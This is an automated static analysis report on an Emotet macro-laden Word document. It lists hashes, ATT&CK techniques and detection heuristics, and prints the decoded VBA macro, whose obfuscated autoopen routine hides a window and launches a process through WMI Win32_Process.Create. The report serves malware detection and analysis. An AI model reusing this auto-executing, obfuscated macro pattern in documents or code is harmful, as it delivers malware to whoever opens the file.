Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 bf87ade5d3fbd0a6…

MALICIOUS

Office (OLE)

131.8 KB Created: 2019-05-17 15:09:00 Authoring application: Microsoft Office Word First seen: 2019-12-09
MD5: 4a01bcc6079d68e7b559654b2aa21967 SHA-1: 3065174f48d6c8ea777352228772f47a95895207 SHA-256: bf87ade5d3fbd0a6cd7b0f8df8ee288b908db87a97a7cfab811932b9f33daefd
342 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro with an AutoOpen function that is triggered upon opening the document. This macro uses GetObject to instantiate WMI objects and then calls the Create method of the Win32_Process class to launch a new process. The WMI API name 'WiNMgMts' is obfuscated using string concatenation. This behavior is characteristic of Emotet, which often uses macros to download and execute additional malicious payloads.

Heuristics 9

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1397 bytes
SHA-256: fd7abb310ac2c1edcee951b9d468862e54c8b1b7d6bab48a5b9081c9e2a7eba6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "j20773"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "f16571_8, 0, 0, MSForms, TextBox"
Attribute VB_Control = "M3956486, 1, 1, MSForms, TextBox"

Attribute VB_Name = "p4_524"
Sub _
autoopen( _
)
   k__10326 = E90743 + (z_7_90) _
+ (z19485_) + h8221927 _
+ (z5649586) + 381563743 + (U9892_48) _
+ p077792 + 929270445
Set w99__132 = GetObject("WiN" + "MgMts:w" + "In32_PRocEssStArTuP")
   F03591 = L_8862_ + (X570149) _
+ (c7246_) + Q649685 _
+ (h1_31463) + 214625856 + (X44619__) _
+ a95995_8 + 921067876
w99__132. _
ShowWindow = vbFalse - vbFalse
   i99_64 = s2_662 + (W25_22) _
+ (W25_3822) + n0665721 _
+ (M242343) + 396479855 + (T8110_) _
+ o21088 + 395668256
Set M6954__8 = GetObject("WiN" + "MgMts:w" + "In32_PRocEss")
   p0262640 = u_292945 + (D2_12__) _
+ (U7558234) + h315_74 _
+ (U09_55) + 675873911 + (D25_54) _
+ Z757_5 + 22867151
M6954__8.Create B81600 + "po" + H781___ + j20773.M3956486 + j20773.f16571_8 + E19096, l76659, w99__132, J8637461
   b5768_ = t492226 + (D59_19_) _
+ (a7_71__) + X8422294 _
+ (A758971) + 419017801 + (t621_4) _
+ M392_41 + 419384232
End Sub


Attribute VB_Name = "j38572"

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